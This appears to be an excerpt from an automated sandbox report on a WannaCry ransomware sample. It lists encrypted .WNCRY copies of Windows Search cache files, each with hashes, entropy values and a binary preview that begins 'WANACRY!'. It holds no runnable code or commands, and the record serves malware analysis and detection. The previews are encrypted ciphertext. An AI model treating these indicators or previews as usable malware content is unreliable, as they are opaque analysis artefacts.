                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123208
                                    Entropy (8bit):7.998649504144934
                                    Encrypted:true
                                    SSDEEP:3072:T96EmtUQ7rR3PfFKa8soQisEO3g5OsCQBsMS+6BAe:5JfQ3JfFSsnipl8sCQBTQBR
                                    MD5:AF5E761EA675B63D8072D3862E370F8C
                                    SHA1:46DE6B657B21868A9A3F8E503828169FF130242B
                                    SHA-256:D4107D88D33FA98C4C226556DE046F5BB97E7FAB9D0496383E6E0A09DA1E15FC
                                    SHA-512:25BA7473F65777CEAAC67AFB3E65B6C86BF72D7580CA0D830B36C7613A4F7486FBD00285E0032FD2796199126A8ED625C5AABA30B02B390E002E916A9F6C6FD5
                                    Malicious:true
                                    Preview:WANACRY!......0.^........O...au.i..M.....@..l..;.........%....5.....NT.......;..H..N.:'3....9.T.7..Z]hWi?.T...)[.......R.T..7........8.}.^h.;.v.Fp.Y.e.EfE...._.o..`...._.`8..Z....D...Mu.+>.3....O......P.l.D...h~Q]~d%../.Z.....N..9Q...k.).+...Of.c4..<f yd{....&.........t.ho.y..-q>.&?......Fs..'.]+..s.g..=d..R....1.bi.j....#..F....^..S...w.Y..U.....u...$".8.!.....G..D...zC.U.{..].....O..cA.d....4.Z..U|D....t8T.X....?.....m./D.....r..U..2.K......(k].g.Mjg._b...4....W.....3&.p..DkBAx g..n./+.a..:..",..Zc....R.J..-.@_...+.^........ G=...yc...R..1...QTN...\......h..J.0........d.W..]XY&....]|z.TB).........dX...*.w.....I)qsHWSf..l.6.....U.pc.......D_f......?.WHX.....n._O...l...F.h~}.9.G....L.k2Pp..'.<=."F...hy...o.k2.....k..>...Z/.F..r..M... ..,C.`...f%0..p..[.U-..Q9,.....RVYv.j....;n....z'BB...9f......A|.....b.cs.:..K.v.h.=.H...4`=....#..R.....o..'0z.....p....L....>...Ql.fa.....$.....[s...!.QaC.........M..-..3-.^.".E...=.....A

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658433494739.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):123208
                                    Entropy (8bit):7.998673812209799
                                    Encrypted:true
                                    SSDEEP:3072:0d8F79ofSLU7CjNRS9M5OrNQURaiGRcMeSPX:0mBav7CpFgQs8S+X
                                    MD5:21BDA977F770AB8552E0217ED50FF44B
                                    SHA1:42E68075D767396D9A6A947F0F3E60A8874B33F0
                                    SHA-256:0A20DB44F5C7D19B25CE5A8A4089253BC5AF35D8461D16AE8BD701A9B1F0B20C
                                    SHA-512:15DEFF34BFF5D63FE53EF1DFFACCF0DAD3BA9D9E2A3224714D9F52C57F19161633168482D076B728971ECF333DC536FA9A802338B907174B00E54C4378616024
                                    Malicious:true
                                    Preview:WANACRY!......r.{.....It..J|.Ej+...{..>=/.k .l..&hRc...q...t...7.P..:M.o.P....y....M...!....c...X.V!.....2;...HC..e.I.4.M."Lf..e.......dv.......*.}.!..}.X..)3.I...|...../....q.Fo.7b.0VGM)8..Fp..PC{...z.r......3..Q.....f^...UI.i.B7.......V.Nl......I....&.........f-.).F...dB...%T..pK.8...Fu..+./.Y...NW.<.]..G.,g.....D..Ru<...."?n.....%..k7.e..,....5.9U.$.+.<z....`.......;|r..*.......~....#..98..&.:......lYb1.6.Zx..7DX.@...k.....]RjT0.P...D..Q.h..@......{.897...r.)..}.e....s<x.fwu...}.%C-_/.d.G.9d.M.,.)~cY.=...%.ri..S.....Q....K.d._.BG>..2.L.".DV.......](.x.Z|..&..)..FaY..6|.>b.)GR.F.m.4-.....N..~3...~...@.L.uPbT.7...ul.r...4s.....4..g.d.Y.lJ....tregB(..^.......8...J.........h.VV.J|.!...9........$....:...&..O...hW..^..b..(....,...p.}Q.(.P..x7.....2...g.4..W0..Tp..`.R.PMK....z.S#.*.....gM6x.3D.D..k.v:t`..=}...._;.^.)......oP'9.:.*....:.S_).....L.m...*..`....o.)3..sGJ...Ha.a7..Wa]...-(.EQ. {.N/...f......$l....3...~...z.....UHY..l....PLY..:.(

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658477995265.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):122776
                                    Entropy (8bit):7.998370007065424
                                    Encrypted:true
                                    SSDEEP:3072:HImOqPcDIIVtggXlFQaNsK/1GbCuI9zcA11T:HIBVFlTNsC1AIRcwJ
                                    MD5:DCF1598F1C853DE0E3ED528AFEFFA983
                                    SHA1:FBB73021DEB8963C8585DF3FCCDF3E35221FE4EC
                                    SHA-256:99996E43748FE31CDED9E064AECD3FE87F4F8A87E7C4B33FB65A7A64082B36A0
                                    SHA-512:24D1D2481D503D6CED2E6E0C86C7020322A7552520078961474C12331E43DD086507DCB640F5F8059B7AA89A850A6035C871F633C4055B78F4634DCA57610756
                                    Malicious:true
                                    Preview:WANACRY!.....9d,....k.b..I.=...#....R!.X....5..&......?.H'Lt..j<.?.l..>v]+....7(K..E|..r...}?k.... .N.......-I..rN.I..n3^........1.U...!fd+..M......w.|.C../..X=..q..ss..A.\l....@.'q.B..W.........~....\..4$....m03.T..57.....4m-.(h.u.#......5".....KM.......}.......t..M....x...v..!.{..0.[..0.(...g....`L..B9.......>...Y... .+..^../S........1x!Pp.....e.[...".<..J..../qe..F...ued.F....[.@CF...Y..d.5......9Q.......j....A.V..55=.^....dd...,..j...W.[D...|h!..Q...r....T...r.3_.#.=l...}.w.<l......G..z&....a..?+.A\.=..z........&..)^.r....:-h|.Q+...I.n..].X.:.9b?F..>W.I..,...8...'....GF...Q.z.c..P.....i..Da....5+...x...j..\.6......~..J......"R.Y....X.4..........c.T.i............A...Y;.h.......ps...+.=6#..r3`i.I.W..Q...u.E\.......T.n....}.....}..u. -{.j++[}.u.......aS..B.c..._W.OX...8di...7i.X...;.&_.y.....S..E...#.........QM.Qr0.0P#.a.q.t.z.....fXQ.<;.p..a..d......R0*pl..~y...?HoA..........c..i..X....5...=s0...c.8...i. d..O......B..p9..2.LE

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658976474171.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):120824
                                    Entropy (8bit):7.998440155968964
                                    Encrypted:true
                                    SSDEEP:3072:V/GCMEXaICca9+UNzTk/vvus3FP4MXPsaj1Ws8D+lWAnBc:V/lfqIW9+A/GvzPVXPTZWnYLG
                                    MD5:64F772075481FD39148EB6C8CD494B9E
                                    SHA1:01671DA41528D51D0DE3ECFA32D009E8B2837D12
                                    SHA-256:7497F798FBEB1CEEAF64F138D72150CF374CD5014B038C437BED2EF28D5C547F
                                    SHA-512:AE50A1FBD8ED7D76D65E7B78C5626620FD69E81C1AF43A36AD330FDCC8055A242EDC05CF67AC0314F1FD98F9B6E0FC1D7008190263BCC7042839977C09494831
                                    Malicious:true
                                    Preview:WANACRY!........ok.....(....x,..J..(...gH..i...1.*..P.9.....y.1u...../Qq5v....S.."F...U..v......*G..k.C...L....a..Sx.sM...n...@.%i.+W...'..u.{.T....o../....q.....^...4....O...6.n..Fz.oTi..[....BH<:.....\R0..N."^....2...vV.DhX..:..4.A...2HH=.!..5.g2.H...............VV..N.H.=1.n........w..R..$).....m...*n.....Nf.k$&...Y..$m.D..-Lk.,...oA.a...1.5&KTQ..O..K..n..IS..G.t5..]....d(n.N6ZS..2.<O.LF.....D.#...&..........}.5*7d..8Q.BP'Z`.T...h.H....$.r.....g.a.....5.)..6..2gda.'..f\...;|F.....n.........n~.tU..$v..B. mR..C..m>..em/.....{.1..z.Xco..hM"........Ug.}5z...t..O.C......M.....<.A+~....Y..$=..Hp.f'3\..=..!....Z(.w8...Y.NW....U.w."S.B.a......Z(d}.H].{9.........=<. ....u.eK..M.umA\.3AV.IoE...C.......:...."F....T..0k.\:........^.s...*.}If..K3._Bz>kS6..\nP.........u....$...S8{.....%..R..]0c.\?..5y.....T>F...n.1.qh...+..5.)].W...x.......u'..2@[.:=..6.V...3.-%..\vp.I.5..)....Avj]..ya..Z...I."7.0Z......Yr.......jH,v[..Lo....G....%./.f.....>2b..@....

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659009848568.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):120824
                                    Entropy (8bit):7.9984917961207715
                                    Encrypted:true
                                    SSDEEP:3072:7M/v20Xz3+DaPNt/q0ScJO0h6yp4b3Kx1IeRRJdP/NvYSBB1:7M/PzVXqdcJR14evrXNv5
                                    MD5:530F63073BDC2692833261A93112740A
                                    SHA1:41976BC66DE1EFB9338FF3139F27808AE69B2468
                                    SHA-256:E0C22D28C064690EFE3CD85489E7874453AF3FEB5060F085BB5AE91101980328
                                    SHA-512:A7965AA6DCB9FF4E4EC8EB8E36A6D098E059F6994B398D2E34079525083D5310553B5DC7379F4A4CE0DC051873B486041BF4850B88102F419FB5246861DEFFF0
                                    Malicious:true
                                    Preview:WANACRY!.....$..I.le....H....~.$/....|.2.+$....t*IfnF...R).x.{..u................4...md..Ie..M..X..#...vB$....=LS.e{....1..L.n.j.#...._r..;.u"..7{o....j....x|...4m.3..y..>..?.4.[..W.....;&.....D.A5.e.G*#..,..2....VT....};.l.%.....o.+F.].~.....6a.......8\G..............tSB.V9.....d...h....DqE4.yL.....gy.r.;..h.....Q....B...V.R)p..D.m..!=LTe.."...4`r....l.....k@..W?.....NK.w.v..|N.E..lYa....|..g.ze....|v......4......x!u.0|i.Gf.+.X.......&.....,..=F1..-..^V.L...d.^Eu..5,...3zT......(Z..... Rm......d..T.P2}..h.W.E?.VY.rB.g.p[...S~=P...6.Y..|..h9.....If.M....F)..JA.p.bk.....R.,..=>...<.|.."..>3....ZL.....zO`.....;..........vy...fp3.&.=}X .D.51..C......Y.'.D...!....1.".D....Zk[.3!0=.......h...&Z..{HC..t....s7x...n/..O.....*Q....4....pJ....k..s...n1....!.V..{=.V....m,...]p....N.$.G...........oH.g..Qb..r..v..o..8.......E..v.....$.bxOg.Z8.M(Zw.....:.mA)&e..2.{.._.k.SzK.......y9.-.....kmfd.A..fsvD.Fv..-v.,.+&6X[......h.}.I.P..M.B..aG...`.......+koQ.4.u

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659276420550.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):117064
                                    Entropy (8bit):7.99842334813626
                                    Encrypted:true
                                    SSDEEP:3072:qZ14GwiVTPGEHta9YZ1OgHmBjccRe5ojyaYJJ+5P:qn4RabZ1OfjcWbwJsR
                                    MD5:0A2B6FC1D812DB9FA7CEF615F8CC2D97
                                    SHA1:20303DD408E3A213DEDBECA92E495939A6F65F3A
                                    SHA-256:1B1A2B55279EA2D44354161D95FA89C9E3DA3299DBBCF9D1E456BC5BDF534441
                                    SHA-512:C84774599A9F90E1A25C95A2CC9DBC5496C50244693F473572A924424E11E2C719AA2478F4B2107DB6CEBEEDBA064842DA3631544626DD6321CDC62227094ACF
                                    Malicious:true
                                    Preview:WANACRY!....b.5]..X..F=..:Z\..X.>\!.. ...V>....O..*Q.nrL...zt.....Z...j.>.*....H...@}.0.My...H...[....8]9..e^>.../..S...@...!T./E...6...].$......r!..$.iZ..]u......Zr...R.....r.....Q.]......p+.Cz^{./.2Ilp4_..q.bP4.t....QIQ.9i.6.H.)/.og$.(\e..8...6...I..0.g....,.......y...o....2.?.f..3^...6.....x.b'=..JU@DQ..;.k.7..a.....6a.q?..C....el.............@..6...._k...T.X.T.<z....L..u.3^..[..,x.....o..HL....Q-...p.w.2...A...h....#.."3.T\D.!...b......=O.A.....-.#+O...-M....../..r.Ui[k......&,...K2u,..2.2....$.2hH.....|G...]...{.e..U.4.^..E/H:..MA.5......5rW..a.nP.#2G..hY.......%GuA.A.SfO.../\..'......D...xh..=.hJk.?L..,.$..m.@U!.bL.Q.......P."....:..J.B...D:B.[%q..?....o..vw........4.xT4UjE....w9*..,`.o.......(I9.m..'.y^..+..D.(=A...@.@..]i,?..k.{.D....i{..q/.T.<...bf\.......G...........[l./&...O.x.c..}{2...}G..b..u...c.@..........~\....Y.C........R..|...V.""..G...R.......D...&.S....1c.a.....*.2sk..C.~./.U!.T.]G.LpKK4X.....n8 ...2....2..'5..#....F....

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659576386340.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):116120
                                    Entropy (8bit):7.998219746485349
                                    Encrypted:true
                                    SSDEEP:3072:9Yo8WVizYLAAk53uF0o2h1OddgRmQBlzF/kSqFvWj:9Y9ziIVuFB2LOwLx7qEj
                                    MD5:2D7A6D4E43B2ECA4148A56A9E49189A8
                                    SHA1:EA167650DF2F39912C286710654614A960295135
                                    SHA-256:3C5C517D0D9FB9DB536BF6A254A7CFB104798D3D1641EE8080E2A148ACB722DB
                                    SHA-512:DA3C79EBBB58AEB380BB530BC0344DCDA32199DA963BC52C9D13CB9FB874D7A744555D51A6BE08B0822C24653C475DAA6597BCC977A30692CACB33FB9AAC8980
                                    Malicious:true
                                    Preview:WANACRY!.....Y..?............A%.....ElW.%_.+.....[@Cd..cu.Nb...JC..M.g0.>L..$...l....N..u...W............d...B9lH.Z?..W.......F..r.#..ycTQ........z.$.,..1...kC.+....%..........J.@..nF.+.`...O...s...z....3.z.w;B..8. .`.4.(..u.}s..M.N.4;Q.7.T.<.=./.XJL0H....#5p.....y.......N...6...7..h..^}...K..C*ORqc...o....EnN..|>.T....E.j.Na.....v.a+U.bP..:gS\ON.....*.......Q.(.4......d...q..~...b...q....p.;.DL...(..<a..<.~\t8e&..P/U.a..M.74+...P.[d"..."...&.H.!J..,..v...i.......X..4.5t....A7n......r...E...0..S...W4...../.N....OZ..#w...;.R..C...&..P^...=VF.).U...L.....c.b$$x& k.H.7J.!.........f..../..E.W5n...:w.L..R...b...p.X.3.=......1.4......v...?hb%.....y.0.....m./*)..j#]quH. X....M.h..6T.=......?.[.r...C.5.k...,.j..+..n.Y......a9..QV....G*.q.......U..flF7.zq`...$....R1n../.p..C..m]..a.....p........x.....#;.d;C...;A...Gn...k.....3.T..p..8{}.^....M<r..(v..)/XL._.....Q..$.w..o...7....YC..o7H..B...eJlU.5.......3..../.z..{.m..UHuUUb.-.Kfo..oz....Q5..&.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659909628426.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):116120
                                    Entropy (8bit):7.998409598864339
                                    Encrypted:true
                                    SSDEEP:3072:HZ33cOaImAA6MLrsXg6Q+xHmBJwybycGPwzm:H93Ral/l/uBxHsJdGYm
                                    MD5:10924E8CD6C415329A566DC2F37EC071
                                    SHA1:363DE78D35745EB62B8FBFA162AF402932ABD6BA
                                    SHA-256:9F69ABBE0ED3A342FCEF5153AFD1E40993D80ED1ACC359FC7EDC024EC6F9E7B3
                                    SHA-512:066576B8F08C6B40408AA675AF9422DD51EEB969CC8E5A911104FA0092056A3EDBA387993B7413C016A5BCA5F727B79D7F325AB6971569D4F77E62F75D59632D
                                    Malicious:true
                                    Preview:WANACRY!....8...?.{.u&...J......66..n.w...2dC..P7....7:.P...qJ.....k.cRbj".A.L7...].......tm.fg.r...Y.Nu3,....8...|}...j\.p.K...x....r......0..!...ji/._..L.6.T"D+..."rVA..*..kw.*...v.R........p....Qk.N......~..tY...V..,..T.."...ym.,'.]......7J.c.w5p.z........q.....y............M..../l..z........k...U.8.....6..$.....V....'`/.S0/e...?.b>.t.J...#N.{.E.....D.....c...z#.rB.......L...i.'.B.[.F.R>.......@.YhC..*.Y.'q.Rk.Hd...<.PJ.U'.>...u.u%s0..R..../....c. ..k.....e..5..Sn,..O|.....:J.b.|..t..H.Y...".`J.(.......vP..!..._.._..l..Q....c.;.....'......:.k.......s.Y.v.<E......g.....:.Q.....x..Bi.Nt....g.c..G.2.....e.2P........U...}@..R...Z[.......3.R+...x.....D....-....j...o&..).o.............{..%+.s.2].#...0.p`8.`..5...d.[.y...,.[.W)....!....n$....*.S.....*......x:..(W-3G4zPP.x_%..gq].J06E..t.86I.......C.e.".#L;V..WW..D$2......$.A..rg.{..?E......T_.E.>.uP../Jvv.b.op..T.G./].I)...... <@../*.....-oio..0"#L...fm}Wb..Lmx.6.<..).\5.V;%3...H.-..ia.v.r.

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250150656855.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998292183318535
                                    Encrypted:true
                                    SSDEEP:3072:Px1o1VbO7NsqiKOZ1QNfj0I37ZkxT4D7x5V:Px1o1ZO5biKeQNfb37ZaO7TV
                                    MD5:86D179B3F83B7B059518A76318A1A8E6
                                    SHA1:1AFE14D04A2E375DCD982E47401E858C64457687
                                    SHA-256:A87AE7C080B55ABF3EE5EBEFE44B2E45D0C44E3A9A2FF4D73FA8A20429A08D44
                                    SHA-512:E20247BD4E77A871A201382FADEA2BE253F104C782ACBBC6A727170EBE8BA2339EA52B45386F01E74C461451AA3D04D42E57E84614115DC178D360FCCE3B65E9
                                    Malicious:true
                                    Preview:WANACRY!.......V.....Z.._.j..H.u{.U..:r.?N.:UW..\kX{.6...x.4..- .......+.?.7F}..j,.M..E.dVE....d......A[........J..;....m..=&......t.....+..,' .9r......r.W..._...]Gb............nM.C...-7...Q%..2.:.y..>.s...}b...V.s...CB....4..c..f.:.9.84.F.l....vr.[V.<.....,........W6.Gp.%.i..S..h......XV][..../:.k.....Kxp).H.....o..F...........3....>PL.ksD...n..K.e.....W..T..FO...>..P........X.@.H`0.$?.."N.<...1=T..(.yf.F.r:.pq)...U..vw3.......p.e+\k.%2..P....Z..g...t.{...?6h..T...W;.s0).Y$.x4...X..W. .J, {.e%]..T8...]..(,x...6R..q.?C...q..?...^n.......O6:-.?..xc8...W8...(/.....:.Y...Z....P..C.B........*Y....u..)...ZH....y.....o .....j..a.9..?.......(.c..k,.D.&.....MuS.).......{d....?og....s._..&.......x\..=....8uHz3...CM.....7.C....3.s!O.Z....b.Z..0.V.=.U......a.......M.......;.aZ..O.Z..!...Y|....Ir....!...#......q...W......Q..>..Pb....9t(n.1.tS...JG...Nm.5O..Df.s.jOHj.....f......o.e.D;4P7..Bxf...~]....sP.....,o.2/E.i.K.x(:6f.\6f=..,6.B..:..Z

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250451283842.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):115272
                                    Entropy (8bit):7.998360711715905
                                    Encrypted:true
                                    SSDEEP:3072:ZlC6DVfIBhtJEDNdAE6nUF3O4osTw7bdM:usIBhtkNebW+4ojdM
                                    MD5:B643F07E1E4B76F6185852A19CFD8C0E
                                    SHA1:282F8971C217B8C0FC17E552D38945A26A21516D
                                    SHA-256:C4017814633A71EE657EA487FA4AD0F1E5F971B9FB323E03E23FDD4906064737
                                    SHA-512:64DD130B17044DE875A6E023BFC68656D9E677A974909A516819EC78D88576BA6BEFD3C9824BF5E4BEAB634A782BA57A11A4B1CB5C661191ABCB05E7A70AE90F
                                    Malicious:true
                                    Preview:WANACRY!......-S.....j6.h.k.......Y4?..A..D!..\tm.t.w0%...e(qI#..^n.......{`t..B9.7..Y...&.."..!5...nmF"...c........L..;...5....S..=/{.[{...d.2...6..'..z.u./....-.?...0....q,./.?7.&...bb...p....o.m..ci....P.."e..(......./]u;..M...X.l...X....W8..>.=.......C..?....,..........4*.gyd..O....Z.r......*....].....`Ge...Ab..v....d8.X."....o....O...........J...u.:Q....h!..|..OL.LI..m.Z....z..5|[{o.Q..)...QC7.@{....$...bJ..m........[.ZvD.M3&.S......Q..h=s2OA..<e...':@.eQ..,..l.JFva.M. 6:.e).........6%.[M......X..^[U0.F....[..Id]W..SGo..+."..`.y.^.8.:qe.#...DD.#":.sr.....(q..}][..*..@.k`.u.P$@..Mz.-......y....,.2/.7:../../`...=-....FSg....]Nt......'.G...1.....#*.-........p.COm^.....Ce.].T.K.. 8..|.........,.\..D5\.>'.N..l...u....Lnx\.D5!...X .../.k./.p..6K..FS........O...^t.B~T..Q......{..19...!.\........#...r.. ....g:....|...5........A.. D.....u....6.........5....=w..HE......64.........=|..s9t~....].(.........."..)J.....E....H_........N8hE.![......"...

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{65911048-9234-4059-8bb1-0549c23de5a1}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994879535139828
                                    Encrypted:true
                                    SSDEEP:768:ujY09bipMtqAkyLTFsmRpO4kanzlkfW4IX07lKYEZ:309G2ktATfE4kaz+SXRYY
                                    MD5:0AC32D3B35AB9B88764BB94AFC6667A6
                                    SHA1:A065EB37FEF0873381D49419FEB4C10B9EB03A3E
                                    SHA-256:303B42C8368F7C951A6B54171F95D62224680197B85741CB649F0E1E3D5CABDD
                                    SHA-512:0E2DAD663AA1B59988F9F6ED10483DD375104675E3CA90AA3296880DCAF96A341F34ABDAB6C139D6F4ABB595E6B3943540308722CE623C64688DA70EE5878C86
                                    Malicious:true
                                    Preview:WANACRY!......@gR`.........`.9.....\......,..<*...%..o3"..U.ER.VAN+..m......,W.>s..?....$.v.%x^G...h..3.JJ..#$.........|~...E..[xo..i.._...gD%..Xc.i.{'.....J..=E<.c.Un.........$&......C.c..41_Y1j...2W..hK~Ht.*...o..?.8.t......I..m.R.?'.*.8...|.......f........0.f.e.+B.\.zM.1..\.hm.......%.'...c!y....3.$F.t....[l....IV.&....S....}3........H,.;..&.k.L...=..*GF<B.........C.U.T...1FyK.a.J=`.5..:./.#=OE.2(..G..[kn.......].c....G[.&C..V. .......\.8d.u.NYm........!......X...\.Pz."..WV.A.t....... .X...%7+..x(.......A.J....P..^...-.(AP.*B.A3....%.z.k.e....... ...s...RM.`...D....;$....-i...|a..8. ..CP.M.X{3.)M.>./F6,..._.^..._&.yv.._...E........T,.._....u..Xk#.:..&.D..j( &..T{XO........q..*.:.....O.V..........{.gsq..K../....ZND.....`.Y...d........i...l,.h_...f.N{BA.S...F.,.$..Vg....j8.A..knQh/..$i...I/....O5.........]^n0..M._E..:.Bw<.<s......<.@.6q..........U. ...*'..7.q*k...!...8.PY.1..D."Dh.!.{Q.d.....F....7....H..u.p..q^...-8%62

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6c5c99b8-fa5e-49d0-8af3-659a6305e839}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994987387382847
                                    Encrypted:true
                                    SSDEEP:768:aGesuHM+mEEb7Bi2afG/CoB1KkznwxzeaxTN1W+snKpkhuw+lRx:aGesuHJmEEbd0zoHRda7I+cqkgH
                                    MD5:F0738136C8F0E5ACB1CDC15D3C107C56
                                    SHA1:907CE7CF7CA1A643A10FCD06DD8B99E599791DC4
                                    SHA-256:A8F1F437E6C7CE074EE9E3BB0FE5AA45DB14C138160ABF04D76E69C0264C1BD9
                                    SHA-512:0F0C176EBBFCC62D9BD84DE2BD3CB49D4DF710D082109925AB5A4C62DE590F34D0CDAF13D0BB5D000F6247AE2C6BE6275E1EFDA1F4D1C0098668BD1708EEDED9
                                    Malicious:true
                                    Preview:WANACRY!....... ..i....tWG..N]...'.m........*.H..cx....GP.E..,k._).].(N....!....L..~. .#.A.....O.|$..(....X....N.J8`....c..[;........"){......!....u.@....cmg.&....K...N...\v....D...d..m.d..Q...7'........x.....j.L..o...."..g^.\n......0t=.SQ3.UX.;.*.[z&....f...........Y..1.SP.j..f.-.`(.,......x.t...s..tU..%.?=.L...D...'9*.s....~..#.<.U..g .X.]..4._....h....}...3e.]cl.....y..".!.@.!5..$....Z...-...1N.../ Rc.,....2.cL..YvU...'..v...a..,..6......l..E.}(........z.......%*QQ........K..4...~.3...H%..y..=.....^%..E....SR....f...[9..5..uo>Z...s..G`....*Gz...N.....E/\..]...}Ip.}..0..IOW=..W.('..4w......a...<bKn....C.%m..ha.#.L4....v.~u..;.4.L....R.t...&....GT....T.....a.k..V.T.s0.....Iv.z.......X.......c..xk_O...o~......J.a^.}z.\.m...:....cz.{qhVc..!..@..9..>....V.......d..>..8..u...a..2.l_X... ...*..&+....EN.d.$.2..)J.._.k$...MM&+....s...>.,,..$..XV[..V7w!.......V*.K..d.D.'r........Z..&a..._.a.m.......'.[>3.,....2;.J.....O.......z)/@8_.........

                                    C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9a386491-5394-47a0-a408-e4e3a9d60139}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994765702409487
                                    Encrypted:true
                                    SSDEEP:768:eZx0gaA9WnoHzh0dbVKMUQ/Lz0UIOF9hWfAshsFKxpm0EPj86iDgzxkmfwfnB:eZagKw90nKMtqgEhsgxAPtWWxbYfB
                                    MD5:D641E69EDDC9903EAA6FB3B523F5578C
                                    SHA1:FEE01186470CA1E719ED3D4506BA457983A58AAC
                                    SHA-256:3864CF55EDD1B107E2682C70EF0926D0ABED939743EF470F2EBED23675AAC5F6
                                    SHA-512:F36F8F5A116EDEC8783B121F4672FF626B1D8BFB8123510718FF547BD54CC1E5B27D6E0284644A6FD62C489B8A7ECE1D31CF8BB36BBE8B4C647A29128D9CEDD8
                                    Malicious:true
